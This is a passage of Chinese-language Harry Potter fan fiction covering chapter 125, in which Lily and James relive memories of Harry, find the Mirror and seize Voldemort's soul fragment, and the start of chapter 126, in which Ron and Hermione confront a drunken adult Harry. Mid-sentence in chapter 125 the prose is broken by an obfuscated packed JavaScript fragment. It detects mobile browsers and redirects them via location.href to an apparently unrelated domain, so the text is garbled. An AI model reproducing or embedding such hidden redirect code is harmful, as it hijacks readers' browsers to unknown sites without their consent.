莉莉跪倒在地,詹姆斯紧紧搂住她。他们在虚无中哭泣,为永远失去的十二岁的儿子,也为那个刚刚回到他们身边,已成长为成年人的儿子。 许久之后,詹姆斯低头吻了妻子的头发,“哈利说得对,另一个他依然需要我们,而我们也同样需要他。” 莉莉点了点头,抬起头望向那条光路:“那就去看看,看看儿子究竟希望我们看到什么。” 125. 往昔残影 莉莉紧握着詹姆斯的手,两人并肩走在那条幽长的光路上。周围是无边无际的虚无,只有脚下这条路是清晰的。 “詹姆斯,你觉得这条路的尽头会是什么?”莉莉轻声问。 詹姆斯默默地走了几步,“我不知道。只要别再让我看着哈利却说不出话来就行。那种滋味,一次就够了。 莉莉没有说话,只是将他的手攥得更紧。 光路的尽头什么都没有,只有一面镜子矗立在那里,高得几乎看不到顶,华丽的金色镜框上雕刻着复杂的纹路,底下由两只爪子形的脚支撑着。 他们走近了些。镜面中的倒影模糊不清,似乎被一层薄雾所覆盖。 “就一面镜子?”莉莉皱起眉头,“在这种地方……” “管它是什么,”詹姆斯走到镜子前,伸手敲了敲那华丽的金色镜框,发出沉闷的声响,“看上去倒是值不少加隆。你说,这面镜子能不能告诉我们时间圣器在哪里?” 他伸手想要触碰镜面,却忽然察觉身后好像有什么。他回头一看,整个人顿时愣在了原地。“爸?妈?”他失声喊道,然后又看向其他人,“查勒斯叔叔……还有……梅林啊,亨利爷爷?” 莉莉这才注意到他们周围站着很多人。除了詹姆斯的父母弗利蒙和尤菲米娅,她的父母也在旁边。每个人脸上都带着快活的笑容,朝着镜子的方向招手。 詹姆斯的眼眶有些发红。他已经很多年没有见过父母了,他们甚至没能亲眼看看自己的孙子。 “爸爸……”他颤抖着向前迈出一步,伸出手,却眼睁睁地看着自己的指尖穿透了父亲的身体。 弗利蒙特·波特依然带着那个温和的微笑,机械地重复着招手的动作。詹姆斯试着和其他人说话,但他们都只是模糊的幻影,除了微笑和招手,什么反应都没有。 他在原地站了一会儿,眼中的光慢慢黯淡下去。“你们不是真的……” 莉莉的呼喊把他从惆怅中拉了回来。“詹姆斯,快看!” 詹姆斯转过头,发现镜面之前还像蒙着一层薄雾,现在已经变得清晰透彻。但镜面中映出的不是他们的样貌,而是—— “哈利……”莉莉的声音中带着颤抖。 十一岁的哈利不知什么时候站到了镜前,看起来比实际年龄要瘦小得多。过大的睡衣挂在他瘦削的身体上,脸颊虽然比在德思礼家时稍微圆润了些,但依然显得营养不良。那双绿眼睛里充满了惊奇和渴望。 “他太瘦了。”莉莉喃喃道,“看他的手腕,还有锁骨……” 她下意识地伸手,想穿过那冰冷的玻璃,去抱住眼前这个瘦小的身影—— 但她做不到。 她的身体背叛了她的意愿,让她只能像身边那些幻影一样,脸上浮现出温柔的微笑,抬起手臂招手。 “让我说话……”她拼命想要开口,声带却像被死死勒住,所有呼喊都化作无力的哽咽。只有眼泪不争气地汹涌而出,模糊了她的视线。 哈利慢慢走近镜子,鼻子几乎贴在玻璃上。“妈妈?”他低声唤道,“爸爸?” 詹姆斯的情况也一样。莉莉感到詹姆斯搂住了她的肩膀,那僵硬的姿势告诉她,他也承受着同样的挣扎——他们就在儿子面前,却被隔在镜子的另一侧。 哈利就那样站着,如饥似渴地看着镜中的家人。在某一个时刻,他把手掌贴在了冰冷的镜面上,就好像他恨不得能穿透镜子,来到家人们身边。 莉莉感觉控制自己的力量减弱了,她和詹姆斯同时伸出手,主动将掌心贴上镜面,隔着那层薄薄的玻璃,与儿子的手重合。这一刻,哈利内心深处的强烈喜悦与忧伤如同洪流般涌来,化作无法言喻的痛楚,几乎撕裂了他们的心。 过了不知多久,哈利终于退后几步,依依不舍地看了他们一眼。 “我还会再来的。”他低声承诺,转身匆匆离开。 随着哈利的离去,莉莉的身体总算恢复了控制。她双腿一软,整个人瘫倒在地,大口喘息着,就像刚从水底被拉上来一般。 “莉莉!”詹姆斯立刻跪在她身边,把她拉进怀里。他身体颤抖得厉害,“我试过了,我真的试过了……我想告诉他我们爱他,想告诉他我为他骄傲,可是我——” “我知道。”莉莉把脸埋在他胸前,眼泪浸湿了他的衣襟,“我也是。看着他那样渴望地看着我们,而我连一句话都……” “他会回来的。”詹姆斯的声音同样沙哑,目光凝视着镜子外空荡的教室,“他一定会再来的。你听到他说的,他不会只来一次。” 他们就这样相拥着,在这个虚无的空间里,承受着这种近在咫尺却无法触及的折磨。 良久,詹姆斯扶她站起来,开始打量这个困住他们的地方。除了这面独自屹立的镜子,真的什么都没有。没有墙壁,没有出口,只有无边无际的虚无。 “我们被困住了。”他绕着镜子走了一圈,“回廊把我们关在这里,只是为了折磨我们吗?它到底想让我们看什么?” “也许我们漏了什么,”莉莉擦干眼泪,走到镜框前,目光停留在上面的一行铭文。“你看这里,有字。” “厄里斯……斯特拉……这写的都是些什么?古代魔文?”詹姆斯凑过去,努力辨认那些扭曲的字母,“你能看懂吗?” “这像是某种古代魔文,”莉莉眯起眼睛,仔细辨认,“但不是我学过的那种。不是如尼文……哦,要是莱姆斯在这里就好了,他最近在研究古代魔文,或许能认出来。” 他们研究了很久,可那些颠倒错乱的字母依然令人毫无头绪。 第二天——如果这里有“天”的概念的话,哈利果然又来了,还带来了一个红发男孩。 莉莉认出那是韦斯莱家的小儿子罗恩,在这个记忆里,显然他们也是好友。两个男孩在镜前争论着什么。当罗恩站到镜子前时,他看到的显然不是波特一家,从他兴奋的表情和手舞足蹈的样子来看,也许是和他自己有关的幻象。 当哈利再次站到镜前时,莉莉和詹姆斯再次被拉入那种被操控的状态。微笑、挥手、流泪——他们能做的只有这些,眼泪之外,其他的一切都不属于他们。 等两个孩子离开后,詹姆斯烦躁地抓了抓头发,“莉莉,我们现在该怎么办?就这么一直等着?也不知道其他人现在怎么样了。” “不然呢?”莉莉疲惫地回道,“我们出不去,只能等哈利再来。”她深深吸了一口气,强迫自己冷静下来,又开始研究起镜框顶上那段铭文,“我还是觉得线索就在这面镜子上,来帮我,詹姆斯。” 第三天晚上,邓布利多出现了。 “你和你之前的千百个人一样,已经发现了厄里斯魔镜的乐趣。”邓布利多说。 詹姆斯和莉莉对视一眼,两人眼中都是同样的疑惑。厄里斯魔镜?他们都没听说过这个名字。但至少他们现在得到了一个新的线索。 他们被迫继续扮演着沉默的镜中人,听着邓布利多的解释:“它使我们看到的只是我们内心深处最迫切、最强烈的渴望。” “明天镜子就要搬到一个新的地方了,哈利,我请你不要再去找它了。” 两人都离开了。镜前彻底安静下来。 “他不会再来了。”詹姆斯有些怅然若失,“可我们还没找到离开的方法。” 莉莉没有回应他,而是若有所思地开始绕着镜子踱步。 “渴望……”她低声重复着这个词,“内心深处最强烈的渴望……” 她突然转向詹姆斯,眼睛亮了起来,“詹姆斯,你还记得格林德沃说过什么吗?” “什么?”詹姆斯还沉浸在刚才的情绪里,一时没反应过来。 “那个童话!四兄妹的故事!”莉莉激动地拉着詹姆斯,快步走向镜框。“那四个时间圣器,有一个就是镜子!” 詹姆斯愣了一下,眼睛慢慢睁大,“你是说……厄里斯魔镜就是——” “米拉的镜子!”莉莉指着镜子,语速飞快,“格林德沃说,米拉制造了一面镜子,能映照出过去的景象——它展示的是她最渴望回到的时刻!” “她死去的母亲!她最渴望的,就是再见到母亲。而邓布利多刚才说,厄里斯魔镜展示的也是人们内心最深的渴望!詹姆斯,你明白了吗?渴望!两个都提到了渴望!” “可这怎么可能?”詹姆斯还在消化这个信息,“米拉不是通过镜子回到了过去吗?这怎么可能是同一面镜子?而且,时间圣器怎么会就这样出现在霍格沃兹?” “为什么不能?”莉莉几乎是喊出来的,“如果这面镜子展现出来的只是伪装呢?表面上只是展示欲望,但实际上……” “它能让人追寻那些欲望。”詹姆斯接过话,眼中渐渐亮起,“就像米拉那样,不仅是看到,而是真正回到过去!” 就在他们得出这个结论的瞬间,镜框顶端那行他们始终无法解读的铭文,突然像水波一样流动起来。那些古老的符号重新排列组合,虽然依然无法辨认其含义,但明显已经变成了完全不同的形态。 「erisedstraehriehtkeesoslatubeesylnotonlliwsenonesohceht」 “看!”詹姆斯惊愕地指着那些文字,“它变了!” “它脱下伪装了。”莉莉低语,眼中满是惊讶,“回廊让我们看到这一幕,邓布利多的解释,铭文的变化……詹姆,这不会是巧合。这面镜子……它就是米拉之镜!它在回应我们!” “米拉之镜。”詹姆斯敬畏地看着这面传说中的时间圣器,“它竟然一直藏在霍格沃兹,伪装成厄里斯魔镜的样子。” 他们相视一眼。这个发现太重要了,他们必须把这个信息带回去。 “所以现在怎么办?”詹姆斯环顾四周的虚无,“我们找到了一件时间圣器,但依然被困在这里。” 莉莉盯着镜子,陷入了沉思。“也许……答案就在镜子本身。” 她试探着伸出手,惊讶地发现她的指尖没有遇到任何阻碍,刚刚还冰冷坚硬的镜面居然像水面一样泛起波纹。 “能穿过去!” “莉莉!”詹姆斯一把抓住她的另一只手。 “看来这就是出路了。”莉莉回头看他,“我们必须把这个发现告诉其他人。” 詹姆斯看着那泛着涟漪的镜面,苦笑着说,“我们会掉进什么过去吗?像童话里说的那样?” 莉莉怔了一下,语气突然变得温柔,“那你最渴望回到哪个过去?” 詹姆斯沉默下来,没有回答她。 可莉莉知道他在想什么——如果一切可以重来,如果可以改变…… 她收回那只穿过镜面的手,转而抚上詹姆斯的脸,“我们现在已经在过去的记忆里了,詹姆斯。而且,我敢肯定,这不是真正的米拉之镜,只是回廊制造的幻象。来吧,我们的孩子还在等我们。” 詹姆斯喉结动了一下,用力握了握莉莉的手。“你说得对,走吧。” 穿过镜子的感觉很奇特,像是穿过了一层冰冷的水幕。当视线重新清晰时,他们发现自己身处一个截然不同的地方。 这里被浓得化不开的雾气笼罩着,阴冷而潮湿,能见度极低。他们只能勉强看见彼此模糊的身影和脚下湿滑的泥土,空气中充斥着一股腥腐的气味,让人很不舒服。 “梅林啊,这是什么鬼地方?”詹姆斯扶了扶眼镜,想抽出魔杖,却摸了个空。 “至少我们出来了。”莉莉裹紧了身上的长袍,警惕地环顾四周,“我们得找个方向走。” 他们随便挑了个方向,深一脚浅一脚地在泥泞中前行。这里寂静得可怕,唯一能听见的就是他们踩在烂泥上的“吧唧”声和彼此的呼吸声。 走了没几步,一个身影跌跌撞撞地冲过来,直接撞在詹姆斯身上。 “哎哟!”是个女人的声音。 当她抬起头时,莉莉认出了这个高他们几个年级的赫奇帕奇学姐。“伯莎?伯莎·乔金斯?” 伯莎的脸苍白得不像活人,眼睛瞪得很大,简直像是刚从噩梦中惊醒。“莉莉?詹姆斯·波特?” 莉莉上前一步,“伯莎,是我们,你怎么——” 伯莎突然甩开她的手,惊恐地尖叫:“你们不是……你们不是早就死了吗?”她指着他们,又捂住嘴,“不对……是我死了!哦,梅林啊,我也死了!那个男人……神秘人……他杀了我……” “伯莎,冷静。”莉莉轻轻扶住她的肩膀。 “我一直在这雾里走。”伯莎的声音带着哭腔,“走了好久好久,不知道要去哪里……” 莉莉和詹姆斯面面相觑,心情都沉重了几分。安抚住惊慌的伯莎后,他们三人结伴而行。不久,又遇到了一个拄着拐杖的麻瓜老人。老人穿着一身过时但整洁的衣服,看到他们时,脸上露出戒备的神情。 “你们这是要参加什么化装舞会?”老人皱眉打量着他们的巫师袍,“真奇怪的打扮。” “算是吧。”詹姆斯打算含糊过去,但莉莉直接回答了他。 “我们是巫师,先生。”她温和地说。 “巫师?”老人的表情变得迷茫,“我想起来了……我好像是被一条蛇杀死的?还有一个奇怪的男人……他有红眼睛……” “看来这里还是在过去的记忆里。”詹姆斯低声对莉莉说。 他们结伴走了一小段路,老人告诉他们他叫弗兰克·布莱斯,是里德尔府的看门人。很快,又一个身影从雾中走了出来。 那是个高个子的英俊男孩,穿着霍格沃兹校袍,看起来不过十七岁。当他看到詹姆斯时,整个人愣住了。 “哈利?”他脱口而出,语气里还带着一丝希望。但很快,那份希望转为困惑,“不,你不是他……”他仔细打量着詹姆斯的脸,目光又转向莉莉,看到她那双绿眼睛时,忽然恍然大悟,“你们是……” 莉莉和詹姆斯交换了一个难以置信的眼神。面前的男孩是塞德里克·迪戈里,他们刚在决斗比赛中看到过他的精彩表现,詹姆斯甚至作为评委给他打了分。 可他竟然出现在这里?这意味着…… “塞德里克,”詹姆斯主动喊了他的名字,只见男孩惊讶地瞪大了眼睛,“你怎么在这里?发生了什么?” 塞德里克沮丧地低下头,“我和哈利一起参加了三强争霸赛。在最后一个项目里……”他的声音越来越低,“我想我是被杀了。” 莉莉双手捂住了嘴,眼中满是痛惜。 塞德里克简短地讲述了三强争霸赛的经过——他和哈利是霍格沃兹的勇士,最后一个项目是迷宫,他们在迷宫深处抓住了奖杯,却没想到那是一个门钥匙,将他们直接传送到了墓地。然后,他就被神秘人杀死了。 整个队伍陷入了死一般的寂静。伯莎的脸色变得煞白,显然这个名字唤起了她最后的记忆。就连对魔法世界一无所知的弗兰克,也从其他人的反应中感受到了那个名字背后的恐怖。 詹姆斯握紧了拳头。这么年轻的孩子,也成了伏地魔的牺牲品。 “不知道哈利现在怎么样?”塞德里克忧虑地说,“但愿他能逃出去,我希望……他能把我的身体带回给我父亲。” 他话音刚落,身体突然变得飘忽不定,像烟雾一样逐渐消散。 “等等!”莉莉下意识地伸手去抓住他,但她的手只穿过了一片虚影。塞德里克在他们面前消失了。 “发生了什么?”伯莎惊呼。 紧接着,她和弗兰克的身影也开始以同样的方式变得模糊。浓雾迅速散去,露出一片阴森的墓地。墓碑东倒西歪地散布在荒草丛中,一个巨大的铁锅冒着烟,而在空地中央—— “哈利!”莉莉失声叫道。 十四岁的哈利正与伏地魔对峙,两根魔杖之间连接着一道耀眼的金线。詹姆斯瞬间明白了——这是闪回咒效应,他们正在被魔杖召唤。 果然,塞德里克的灵魂从伏地魔的魔杖中完全显现,落在地上。“坚持住,哈利。”他说。 接着是弗兰克,然后是伯莎。每一个被伏地魔杀死的人都从他的魔杖中涌出,围绕在两个决斗者身边。 “轮到我了。”莉莉感到那股强烈的拉扯力。她的身体开始变轻,手臂变得透明。 “莉莉——”詹姆斯抓住她的手。 “我们能说什么呢?”他的声音很急,“能告诉他真相吗?能警告他吗?” 莉莉注视着在外面苦苦支撑的哈利,男孩的脸因为用力而扭曲。“这是过去,詹姆斯。已经发生过的事。” “所以我们只能看着?” 她转过头看他:“说你想说的吧。说你心里的话。” 拉扯力再次加剧,她的身体再次不受控制,被拉向那道金光。她从伏地魔的魔杖中升起,降落在地,看着她十四岁的儿子。 这个年纪的哈利她从未见过。比十一岁时高了不少,瘦削的脸庞渐露少年的轮廓,但那双绿眼睛里的坚定让她心碎又骄傲。 这么近的距离,她能看清他脸上每一道细微的伤痕,能看到他额头上渗出的汗珠,能看到他紧握魔杖的手在剧烈颤抖,能感受到他转向自己时眼中满是期待。她的孩子,她勇敢的孩子,正在生死边缘挣扎。 所有她想说的话都涌到嘴边。她想提醒他提防身后的食死徒,想告诉他未来的事,想告诉他—— 但当她开口时,出来的却是:“你爸也来了……他想见你……会没事的……顶住……” 她愣了一下。这正是她此刻最想说的——告诉哈利他的父亲也在,告诉他一切都会好的,让他坚持下去。原来她真正想说的,和过去发生的,奇迹般地重合了。 詹姆斯也出现了。他低头看着已经快到他肩膀的儿子,本能地想去保护他。 “连接断开后,我们只能待一小会儿……但我们会为你争取时间……你必须拿到门钥匙,它会把你带回霍格沃兹……明白吗,哈利?” 金线断裂的瞬间,哈利像一道闪电般冲了出去,而他们这些灵魂形成了一道屏障,将愤怒的伏地魔困在中间。詹姆斯和莉莉最后看到的,是哈利的身影消失在墓碑之间,带着活下去的希望。 整个墓地开始像一幅被火点燃的画卷,景象剧烈地扭曲、拉长,最后化作无数燃烧的碎片。他们在失重感中旋转、下坠,耳边是呼啸的风声和无数记忆的低语,直到双脚重新踏上坚实的土地——一片漆黑的树林。 詹姆斯和莉莉发现这次身边还有小天狼星和卢平的身影。那不是他们熟悉的小天狼星和卢平——小天狼星看起来比现在年轻了许多,卢平的头发略显花白,但两人脸上都带着笑容,显得无比轻松。 莉莉转过头,看到了哈利。 十七岁的哈利站在他们面前,一脸平静地看着他们。他比刚才那个更高,肩膀变宽了,下巴的线条更加坚毅,脸上已经有了成年人的轮廓。 他真的长大了,莉莉心想。她的目光贪婪地描绘着儿子的每一个细节,这是她永远无法在现实中看到的哈利——小哈利停在了十二岁,而另一个哈利已经二十四岁。只有在这场奇异的记忆中,她才能看到他十七岁时的模样。 也许这是战争的最后时刻,两个心中同时浮现这一想法。哈利曾说过,战争在他十七岁那年结束。而眼前的哈利,正要去迎接最终的胜利。莉莉心中涌起一股强烈的骄傲,几乎让她忘记了自己所处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192526|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。 她把长长的秀发捋到脑后,走近哈利身边。那双与儿子一模一样的绿眼睛,细细端详着他的脸,仿佛永远也看不够。 “你真勇敢。”她开心地笑了。 “你还差一点儿,”詹姆斯也走了过来,“已经很接近了。我们……真为你骄傲。” 是的,他们为他骄傲,为这个独自承担太多的孩子感到无比自豪。 然而,哈利问了一个让他们完全没有预料到的问题:“疼吗?” 莉莉一时没反应过来。是什么疼?他受伤了吗? “死吗?”小天狼星的残影回答,“一点不疼,比进入梦乡还要快,还要容易。” 死? 这个字像冰水浇在他们头上。 莉莉的笑容僵在脸上,不敢相信自己听到了什么。她看向詹姆斯,看到他眼中同样的震惊正在变成恐惧。 不,不可能。哈利不是要去战斗,不是要去迎接胜利—— 他是要去死。 她想尖叫,想扑上去抓住儿子的手臂,想跪下来求他别去,想告诉他一定还有别的办法——任何办法都好,只要不是这个—— “待在我身边。”哈利轻声说。 那股无情的力量再次禁锢了他们,让他们只能保持着慈爱的微笑,陪在哈利身边,仿佛是在陪他参加一场盛大的庆典,而不是赴死。 眼泪是莉莉唯一能够控制的东西。它们安静地流淌,而哈利看不见,因为他们只是回声,是复活石召唤他们来为他送行的幻影。 终于,前方出现了一片空地。篝火的光芒照亮了聚集在那里的食死徒们,还有被他们围在中间的伏地魔。海格被五花大绑地捆在一棵树上,发出绝望的怒吼。 “哈利·波特,”伏地魔露出诡异的笑容,“大难不死的男孩。” 哈利静静地站在那里,没有举起魔杖,没有做出任何防御的姿态,就像个孩子般好奇地等待着将要发生的一切。 绿光闪过—— “不!” 这一次,莉莉真的叫了出来,但已经太迟了。哈利的身体像是被抽走了支撑,缓缓倒下,倒在潮湿的林地上,一动不动。 世界开始疯狂旋转。当一切再次稳定,莉莉发现自己站在一片纯白的空间里。高高的拱形玻璃屋顶在头顶闪闪发亮。这里明亮、干净,却空无一人。她跪倒在地,无法抑制地痛哭起来。詹姆斯紧紧抱住她,但他的身体也在剧烈颤抖,眼中充满了愤怒与困惑。 为什么?哈利不是说他没事吗?为什么他还是要走上这条路? 他突然像抓住救命稻草一样转向莉莉:“但是没事的,对吧?哈利还活着,他现在就在外面,活得好好的……莉莉,你听我说,他没事的……” 连詹姆斯都不清楚自己到底是在安慰莉莉,还是在说服自己。 莉莉痛苦地摇着头。她知道詹姆斯在安慰她,也知道他说得对,但那一幕太真实了——那道绿光,还有哈利倒下的身影。尽管理智告诉她这一切已经发生过,哈利还活着,可她的身体依然无法停止颤抖。 突然,一阵微弱的动静引起了他们的注意。 不远处有什么东西在动。詹姆斯立刻冲了过去,莉莉也跌跌撞撞地站起身跟上。当他们看清那个身影时,两人同时发出了惊喜交加的喘息—— 是哈利!他正慢慢坐起来,脸上带着困惑的表情,可能是在奇怪自己怎么还活着。 “他没死!”莉莉几乎是扑过去的,可她的手径直穿透了他的身体。她的脸上露出既痛苦又欣慰的神情,“哦,哈利……” 哈利似乎完全看不到他们。他摇摇晃晃地站起身,迷茫的目光扫过周遭,最后凝固在某个角落。 莉莉顺着他的视线望去,立刻看到了——一张长椅下,蜷缩着一个令人脊背发凉的生物。它看起来就像一个被粗糙剥皮的小孩,皮肤呈现病态的暗红色,正瑟瑟发抖地缩在那里,发出微弱的呜咽。 “那是什么?”莉莉后退了一步,脸上露出恐惧和厌恶的表情。她原本应该对这种类似婴儿的小生命都抱着天然的怜悯,可这个生物激起的只有最原始的排斥。 “别碰它,哈利。”詹姆斯本能地想要警告,即使他知道儿子听不见。 邓布利多及时出现了。他阻止了哈利的动作,并和男孩开始了一段关乎生死的对话。 “那么……我也死了?”他们听到哈利问道。 邓布利多笑着回答,“这倒是个问题,对吗?总的来说,亲爱的孩子,我认为没有。” 詹姆斯和莉莉站在一旁,屏住呼吸仔细听着这段对话。当邓布利多解释伏地魔摧毁的只是寄居在哈利体内的灵魂碎片时,他们才稍稍松了口气。 “原来如此……”詹姆斯喃喃道,目光死死锁定在那个仍在椅子下蠕动的丑陋生物上,“这就是那个碎片。被杀戮咒剥离出来的碎片。” 哈利和邓布利多继续交谈着,可不知道为什么,他们的声音越来越远,身影也逐渐模糊。很快,他们就消失在视野中。那个在长椅下蠕动的东西却留了下来。 詹姆斯慢慢走向那个扭动的灵魂碎片。 “詹姆斯?”莉莉不安地跟上。 “莉莉,你看,它还在这里。”詹姆斯蹲下来,盯着那个恶心的东西,“哈利和邓布利多走了,但它还在。” 莉莉露出惊讶的表情,“你是说……” “哈利说过,他体内的灵魂碎片复活了。那这个……会不会就是那个复活的碎片?不是记忆,是真实的那个!” “你想做什么?”莉莉的声音有点抖。 “毁掉它。”詹姆斯的眼睛里燃烧着熊熊怒火,“如果我能在这里就毁掉它——” “我要试试。”他下意识去摸腰间,摸了个空后才意识到他没有魔杖。他伸出手,试图在没有魔杖的情况下使用魔法。但什么都没有发生。他们在这里没有魔杖,没有魔力。 “该死!”詹姆斯狠狠锤了一下地面。 那个碎片发出虚弱的嘶嘶声,好像在嘲笑他的无能为力。 詹姆斯盯着它看了很久,试着伸出手,又猛地缩了回来。那东西实在太丑陋、太邪恶,光是靠近就让他胃里一阵翻搅。 “詹姆斯,你在做什么!”莉莉惊叫。 “我在想,如果不能毁掉它,”詹姆斯慢慢说,“那就把它带回去。” “什么?你疯了吗?” “听我说,莉莉。”詹姆斯转向她,眼中有种疯狂的光芒,“这东西在这里是真实的,对吧?如果我把它带出去,也许邓布利多或者其他人能想出办法——” “那是伏地魔的灵魂碎片!”莉莉抓住他的手臂,“你不知道碰它会发生什么!” “可我知道如果把它留在这里会发生什么!”詹姆斯挣开她的手,又看向那个代表着伏地魔一部分的东西,“它会一直在这里,也许又会对哈利不利。我不能冒这个险。” “詹姆斯!不要!” 詹姆斯已经下定决心。他深深吐了口气,在莉莉来得及阻止之前,一把抓住了那个扭动的东西。 一股冰冷滑腻的触感传来,那东西在他掌心疯狂地挣扎,发出刺耳的尖叫,黑色的烟雾从它残破的身体里不断逸出。 詹姆斯感觉自己的血肉仿佛正在被腐蚀,那股腐败的气息顺着他的手臂向心脏钻去。他的脸色变得惨白,手臂上青筋暴起,但他咬紧牙关,用另一只手牢牢握住手腕,不让自己松开。 “詹姆斯!”莉莉扑过去,扶住摇摇欲坠的丈夫。 她的手碰到他握着碎片的手时,也感受到了那种邪恶的力量。但看到詹姆斯痛苦的表情,她再没有丝毫犹豫,用自己的双手紧紧覆在他的手上,一起攥住那个挣扎的灵魂碎片。 “我们一起。”她坚定地说,“为了哈利。” 黑色的烟雾在他们的手指间翻腾,试图腐蚀他们的意志。然而,一股更为强大的力量——也许是父母的爱,也许是单纯的决心——在他们的掌心形成了一道看不见的牢笼,将那个邪恶的碎片死死禁锢。 周围的白色空间开始扭曲,整个国王十字车站都在崩解。刺眼的光芒从四面八方涌来,灵魂碎片发出一声凄厉的尖叫,他们被抛出了那片白色的虚无。 —————— 白光消散,他们发现自己置身于一座宏伟的圆形大厅。高耸的穹顶下,无数巨大的齿轮在无声地转动。 詹姆斯感觉手心一松,那个一直在挣扎的东西突然安静了。他踉跄了一下,莉莉赶紧扶稳他。 “你没事吧?”她紧张地看着他。 “还……还行。”詹姆斯呼出一口气,低头看去,只见那个丑陋的灵魂碎片软沓沓地垂在他手中,如同一团死气沉沉的肉块。 “它死了?”莉莉戒备地盯着那肉块。 “不知道,至少现在老实了。”詹姆斯微微喘着气,“我们做到了,把它带出来了!” 莉莉扶着他,两人都有些虚弱。 两人相互搀扶着,疲惫地打量着四周。大厅里,四扇风格迥异的门矗立着,其中三扇紧闭。而他们身后,那扇斑驳的青铜巨门正缓慢合拢,发出低沉的轰鸣。 “所以这就是冥想回廊的中心?”莉莉轻声说。 “看起来是的。”詹姆斯平复着气息,“我们找到了米拉之镜的线索,还带回了这个……希望对哈利有帮助。” 莉莉扣住他空着的那只手:“会有帮助的。一定会的。” 柔和的光芒从四面八方洒下,照亮了悬浮在空中的走廊。他们站在这片壮丽的中心,仰望着那扇已然完全闭合的巨门。门扉上,流动的符文逐渐凝固,最终清晰地显现出一个词: 往昔残影。 126. 记忆潮汐 疼。 哈利的脸火辣辣地痛着,他跌坐在地上,舌尖尝到了血的铁锈味。罗恩站在他面前,拳头还举着,胸膛剧烈起伏。 “你这个混蛋!你知道我们找了你多久吗?”罗恩的脸涨得比头发还红,“金妮昨晚哭了一整夜。而你呢?伟大的救世主哈利·波特在哪里?” 哈利只是用手背擦了擦嘴角的血,继续伸手去够茶几上那瓶空了一半的火焰威士忌。 罗恩看了简直气不打一处来,冲上前一把揪住他的衣领,把他从地上拽起来:“我妈妈从早上四点就开始做你最喜欢的糖浆馅饼。乔治说给你准备了个惊喜,比尔带着芙蓉从贝壳小屋赶来,连珀西都请假回来了。所有人,哈利,所有人都在等你!而你——你躲在这个鬼地方喝得烂醉!” “罗恩,住手!”赫敏在身后一把拉住罗恩又要挥出的胳膊,“你疯了吗?” “疯的是他!”罗恩甩开赫敏的手,“今天是他的生日!所有人都在陋居等着!而他呢?没去上班,没请假,谁也找不到!他家里也没人,最后还是克利切——” “克利切很荣幸为韦斯莱少爷和格兰杰小姐效劳。”那个家养小精灵从阴影里走出来,弓着腰,语气却充满讽刺,“可怜的主人,在他二十岁生日这天,像个懦夫一样躲在这里喝酒,真是布莱克家族的耻辱。老主人和夫人要是知道了,一定会——” “闭嘴,克利切。”哈利有气无力地说。 格里莫广场十二号的客厅阴暗潮湿,墙上布莱克家祖先的画像都醒了,正兴致勃勃地围观这场闹剧。哈利不知道自己为什么要跑到这里来——也许是因为这里足够阴暗,足够让人消失。 小精灵窃笑着,“主人命令克利切闭嘴,但克利切知道主人在逃避什么。克利切看见了那些羊皮纸,那些关于食死徒教授的——” “够了!滚出去!”哈利吼道,但立刻后悔了,因为这让他头痛欲裂。 赫敏的目光扫过房间,很快看到克利切说的那些羊皮纸——茶几上散落的到处都是,全是关于斯内普的资料,还有一封写了一半的给校董会的信。 “哈利,你今晚喝了多少?”她蹲下身仔细看着他的脸,“到底怎么回事?” 哈利避开她的目光,又去摸酒瓶。手指刚碰到玻璃瓶身,赫敏的魔杖一挥,瓶子飞到了半空中。 “别逃避了。”赫敏把他扶回沙发上,眼中满是担忧,“哈利,看着我。” 哈利顺着她的力道跌回沙发,然后终于抬起头。他的眼睛布满血丝,下巴上冒出了胡茬,看起来糟透了。 “金妮说你们分手了。她不肯说原因,只是一直哭。” “对,分手了。”哈利捂着脸,手指插进乱糟糟的黑发里。 “所以你做了什么?”罗恩的怒气又上来了,“是不是那些天天围着你转的女巫?还是说救世主终于厌倦了我妹妹?” “不是。” “那是什么?你们不是一直好好的吗?怎么突然——” 哈利沉默了。他盯着壁炉里将熄的火焰,橙红色的余烬一明一灭,像某个人临死前的眼睛。 “哈利。”赫敏又叫了他一声。 “是金妮提出的分手。”哈利把每个字都说得很慢。 “胡说!”罗恩吼道,“金妮爱你爱得——” “爱我爱得看出了我爱的不是她。”哈利打断了他。 客厅里突然安静下来。 “什么?”罗恩的声音变了调。 “金妮看出来了,她说我爱上了别人。她早就发现了,只是我自己不愿意承认。” “谁?”罗恩的怒气稍微消了一些,更多的是困惑,“是谁让你——” 哈利又伸手去拿酒瓶,被赫敏按住了。她的表情很奇怪,像是突然明白了什么。 “那些资料,”她慢慢地说,“那些关于斯内普教授的资料。你已经为他的画像申请了两年多。罗恩上个月还说,你办公室里关于他的文件比食死徒的还多。” 哈利不说话。 “哈利,”赫敏的声音更轻了,“你梦见他,对吗?你一直在做那个噩梦。” “什么噩梦?”罗恩看看赫敏,又看看哈利,“这和斯内普有什么——” “闭嘴,罗恩。”赫敏厉声说。她依然看着哈利,“金妮说了什么?昨天她到底跟你说了什么?” 哈利闭上眼睛。那天下午的场景又浮现在眼前——金妮坐在帕笛芙夫人茶馆的窗边,阳光照在她的红发上,她那么冷静,像是早就知道了结局。 “她说,”哈利的声音几乎听不见,“她说我爱上了斯内普。” 罗恩发出一声怪叫:“什么?谁?” “西弗勒斯·斯内普。”哈利又说了一遍。他睁开眼,直视着他最好的两个朋友,“她说我陷得太深。我在梦里喊的是斯内普的名字。” 这次轮到罗恩跌坐在沙发上了。他的嘴巴张得能塞进一个金色飞贼。 “这不好笑,哈利。你喝醉了。”罗恩用奇怪的声音说,“你喝得烂醉,在说胡话。” “我没有。” “不可能。”罗恩开始笑,好像哈利说了什么天大的笑话,“哈利,那是斯内普!那个整天刁难你、天天扣你分的老蝙蝠!” “我知道。” “他讨厌你!从你进霍格沃兹第一天就讨厌你!” “我知道。” “你也讨厌他!你说过无数次!” 